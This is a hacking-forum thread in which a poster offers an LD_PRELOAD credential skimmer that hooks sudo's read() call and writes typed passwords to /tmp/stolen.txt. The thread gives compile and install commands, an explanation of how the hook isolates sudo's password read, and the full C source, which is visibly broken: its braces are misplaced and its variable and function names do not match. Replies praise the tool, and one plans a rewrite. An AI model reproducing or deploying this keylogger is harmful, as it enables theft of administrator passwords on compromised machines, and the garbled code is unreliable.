

# Forum:[Hack Forums](#)

Thread: [A sudo specific keylogger](#)

**oxagast** - January 13, 2026, 8:17 am

## [sudo skimmpass](#)

Hijacking sudo's call to read terminal's file descriptor to log user input

[https://github.com/oxagast/sudo\\_skimmpass](https://github.com/oxagast/sudo_skimmpass)

Author

[oxagast](#)

### How it works

The code is intended to be placed in `/etc/ld.so.preload` where it can isolate itself in memory on the sudo process specifically then modify the code execution of sudo as it reads a password, so that it also records the password to a world readable file in `/tmp`. We do this by using a couple checks to make sure we are in the correct process, and by checking data from surrounding code to make sure we are at the specific point in the code path by checking values of things like the file descriptor and other `read()` attributes, as well as its returned data, to be able to lift the password. This is all accomplished as a shared library.

### Compiling and Installing

Code `gcc -fPIC -shared -ldl -Wall -o /tmp/cap_pass.so sudo_lib_hook.c`  
But to make things a little more simple, I created a Makefile. So:

```
Code make clean
make
sudo make install
```

Then when you are ready to remove the library from the system do:

```
Code sudo make deinstall
```

**Caveats and Notes** This library, by the nature of ``ld.so.preload``, effects every other binary running on the system, although we do try to isolate it to sudo as much as possible.

You need to already be root for any of this to work. This code assumes that you have acquired root by means of LPE, or sitting at an unlocked terminal, but don't have the passphrase.

If a user enters a passphrase incorrectly, that *will* also be logged\*.

### Use

The Makefile adds the resulting shared library `/tmp/cap_pass.so` to the file `/etc/ld.so.preload`.

You can now open a new terminal, and run `sudo su` and enter your passphrase. Do some work.. whatever.

You may now log back out, and finally, check `/tmp/stolen.txt`. It should now contain your passphrase!

### Process Flow Isolation

The abused function from `sudo` comes from the file `tgetpass.c` and the relevant call to `Code read()` on line ~393 in [commit 2a33699f8a0520161a8b507a9cb256802d6f45cb](https://github.com/sudo-project/sudo/commit/2a33699f8a0520161a8b507a9cb256802d6f45cb) from `sudo-project/sudo`

is:

```
Code while (cp < ep) {  
    nr = read(fd, &c, 1);  
    if (nr != 1 || c == '\n' || c == '\r')  
        break;
```

Where `nr = read(fd, &c, 1);` can be isolated and swapped out for our jacking library to read and log entry from the terminal's file descriptor to a file.

Our code assures we are in the `sudo` process using `/proc/self/comm` to grab our process name, then

use `strcmp` to verify it matches `sudo`. We then check to make sure that the "count" variable is equal to 1, because `sudo`'s code does, so this helps us make sure we are modifying the `read()` call in the correct part of `sudo`. Finally we use the `%.1s` format for `fprintf()` to assure that only a single character is written to our `/tmp/stolen.txt` file, because only a single character is read at any given step in `sudo`'s code from the console as the user enters their passphrase.

LiNixx - January 13, 2026, 3:46 pm

(Jan 13, 2026 09:17 AM)oxagast Wrote: [\[CITE\] sudo\\_skimmpass](#)  
Hijacking `sudo`'s call to read terminal's file descriptor to log user input

[https://github.com/oxagast/sudo\\_skimmpass](https://github.com/oxagast/sudo_skimmpass)

Author

[oxagast](#)

### How it works

The code is intended to be placed in `/etc/ld.so.preload` where it can isolate itself in memory on the `sudo` process specifically

then modify the code execution of `sudo` as it reads a password, so that it also records the password to a world readable file in

`/tmp`. We do this by using a couple checks to make sure we are in the correct process, and by checking data from surrounding code

to make sure we are at the specific point in the code path by checking values of things like the file descriptor and other `read()`

attributes, as well as it's returned data, to be able to lift the password. This is all accomplished as a shared library.

### Compiling and Installing

Code `gcc -fPIC -shared -ldl -Wall -o /tmp/cap_pass.so sudo_lib_hook.c`

But to make things a little more simple, I created a Makefile. So:

Code `make clean`

```
make
sudo make install
```

Then when you are ready to remove the library from the system do:

```
Code sudo make deinstall
```

**Caveats and Notes** This library, by the nature of ``ld.so.preload``, effects every other binary running on the system, although we do try to isolate it to sudo as much as possible.

You need to already be root for any of this to work. This code assumes that you have acquired root by means of LPE, or sitting at an unlocked terminal, but don't have the passphrase.

If a user enters a passphrase incorrectly, that *\*will also be logged\**.

Use

The Makefile adds the resulting shared library `/tmp/cap_pass.so` to the file `/etc/ld.so.preload`.

You can now open a new terminal, and run `sudo su` and enter your passphrase. Do some work.. whatever.

You may now log back out, and finally, check `/tmp/stolen.txt`. It should now contain your passphrase!

**Process Flow Isolation**

The abused function from sudo comes from the file `tgetpass.c` and the relevant call to `Code read()` on line ~393 in [commit 2a33699f8a0520161a8b507a9cb256802d6f45cb](https://github.com/sudo-project/sudo/commit/2a33699f8a0520161a8b507a9cb256802d6f45cb) from `sudo-project/sudo`

is:

```
Code while (cp < ep) {
    nr = read(fd, &c, 1);
    if (nr != 1 || c == '\n' || c == '\r')
        break;
```

Where `nr = read(fd, &c, 1);` can be isolated and swapped out for our jacking library to read and log entry from the terminal's file descriptor to a file.

Our code assures we are in the sudo process using `/proc/self/comm` to grab our process name, then

use `strcmp` to verify it matches `sudo`. We then check to make sure that the "count" variable is equal to 1, because sudo's code does, so this helps us make sure we are modifying the `read()` call in the correct part of sudo. Finally we use the `%.1s` format for `fprintf()` to assure that only a single character is written to our `/tmp/stolen.txt` file, because only a single character is read at any given step in sudo's code from the console as the user enters their passphrase.

Great work! Since `/etc/ld.so.preload` affects the entire system, will your tool capture other passwords as well? For example, if a user runs `sudo passwd someuser`, it will log the sudo password, but will it also log inputs from `passwd`?

No. It filters everything else out, because it runs a check to see if the current process is sudo.

It does so using the following function:

```
Code int amsudo() {
    char process_name[MAX_PROCESS_NAME_LEN] = {0};
    // open file pointer to /proc/self/comm for reading
    FILE *fp_comm = fopen("/proc/self/comm", "r");
    // put it in process_name
    fgets(process_name, sizeof(process_name), fp_comm);
    // strip the ending newline and replace it with a null
    // to keep char array spec
    process_name[strcspn(process_name, "\n")] = '\0';
    fclose(fp_comm);
    // ret if it is sudo or not
    return strcmp(process_name, "sudo");
}
```

Even if it did not run this check, I don't expect that it would work very well, because it's designed to hook the way sudo's code specifically handles the read() call, so you would probably just end up with a bunch of irrelevant junk.

A followup because some of the links in the original message was broken:

The sudo project's relevant code that's being abused:

<https://github.com/sudo-project/sudo/blob/3d467a705ea6ee53081cb11cc21ecf08eb47700d/src/tgetpass.c#L393>

The link to this project on github:

[https://github.com/oxagast/sudo\\_skimmpass](https://github.com/oxagast/sudo_skimmpass)

Also, the full source code if anyone wants to take a look (C source):

```
Code /*
*                               LD_PRELOAD Sudo Pass Skimmer
*                               -- oxagast --
*
* marshall@oxasploits.com
* https://oxasploits.com
* The functional equivalent of a DLL jack, but for Linux. LDPL jacking?
* Compile using: gcc -fPIC -shared -ldl -Wall sudo_lib_hook.c -o
* /tmp/cap_pass.so Then add /tmp/cap_pass.so to /etc/ld.so.preload (you'll need
* to do this as root). Then sudo su. Log back out of the shell and check
* /tmp/stolen.txt.
*
* /tmp/stolen.txt should now contain the passphrase you entered.
*
* an immense thanks to vesteria for the general idea of skimming passwords!
* an enormous thanks to blissful boy for the file size func!
* a gargantuan thanks to atdma for catching the lack of void* cast!
* and a colossal thanks to everyone who has found this useful!
* <3 you guys
*
```

```

*
*/

[h1]include <dlfcn.h>[/h1]
[h1]include <stdio.h>[/h1]
[h1]include <string.h>[/h1]
[h1]include <sys/stat.h>[/h1]
[h1]include <unistd.h>[/h1]
[h1]define _GNU_SOURCE[/h1]
[h1]define MAX_PROCESS_NAME_LEN 256[/h1]

// pointer to real read func (needs to be position independant code)
static ssize_t (*original_read)(int fd, void *buf, size_t count) = NULL;

// get file size in a robust way
long long getfsize(const char *fn) {
    struct stat st;
    if (stat(fn, &st) != 0) {
        return -1;
    }
    off_t fs = st.st_size;
    // ret our size as a ll
    return (long long)fs;
}

int amsudo() {
    char process_name[MAX_PROCESS_NAME_LEN] = {0};
    // open file pointer to /proc/self/comm for reading
    FILE *fp_comm = fopen("/proc/self/comm", "r");
    // put it in process_name
    fgets(process_name, sizeof(process_name), fp_comm);
    // strip the ending newline and replace it with a null
    // to keep char array spec
    process_name[strcspn(process_name, "\n")] = '\0';
    fclose(fp_comm);
    // ret if it is sudo or not
    return strcmp(process_name, "sudo");
}

ssize_t read(int fd, void *buf, size_t count) {
    if (original_read == NULL) {
        // ref our original read funcs dynamic lib
        original_read = dlsym(RTLD_NEXT, "read");
        // make sure we can actually hook the real read()
        if (original_read == NULL) {
            return -1;
        }
    }
}

// check if the current process is sudo
if (amsudo() == 0) {
    // this helps us isolate the characters from term only
    if (count == 1) {
        FILE *stealer = fopen("/tmp/stolen.txt", "a+");
    }
}

```

```

// here we are getting the cooresponding int to our currently
// written key and writing it to our keybuf, where can then
// pull the single key as a char to run our test.
char keybuf[2];
snprintf(keybuf, sizeof(keybuf), "%.1s", (char *)buf);
// as it turns out, after pass is written, an 0x11 goes into
// file as sudo makes its exit, so if we can trap that, we can
// use it as a termintaor for subsequent password entries.
if (((char)keybuf[0] == 0x11) && (getfsz("/tmp/stolen.txt") != 0)) {
    // we can make sure back to back newlines are not being
    // written by pointing to the end of the file then pulling
    // the character one back from EOF, then running a negate
    // check on it.
    fseek(staler, -1, SEEK_END);
    if (fgetc(staler) != '\n') {
        // if the last two checks go through, we can write a
        // line feed.
        fprintf(staler, "\n");
    }
} else {
    // otherwise we just start writing our keys pressed to the
    // /tmp/stolen.txt file. We just need to cast buf to a char
    // pointer, and make sure only a single char is written at
    // a time.
    fprintf(staler, "%.1s", (char *)buf);
}
fclose(staler);
}
}
// now just go back to the original read function
return original_read(fd, buf, count);
}

```

**black devil9099** - January 22, 2026, 7:57 pm

i am going to redevelop this tool in cpp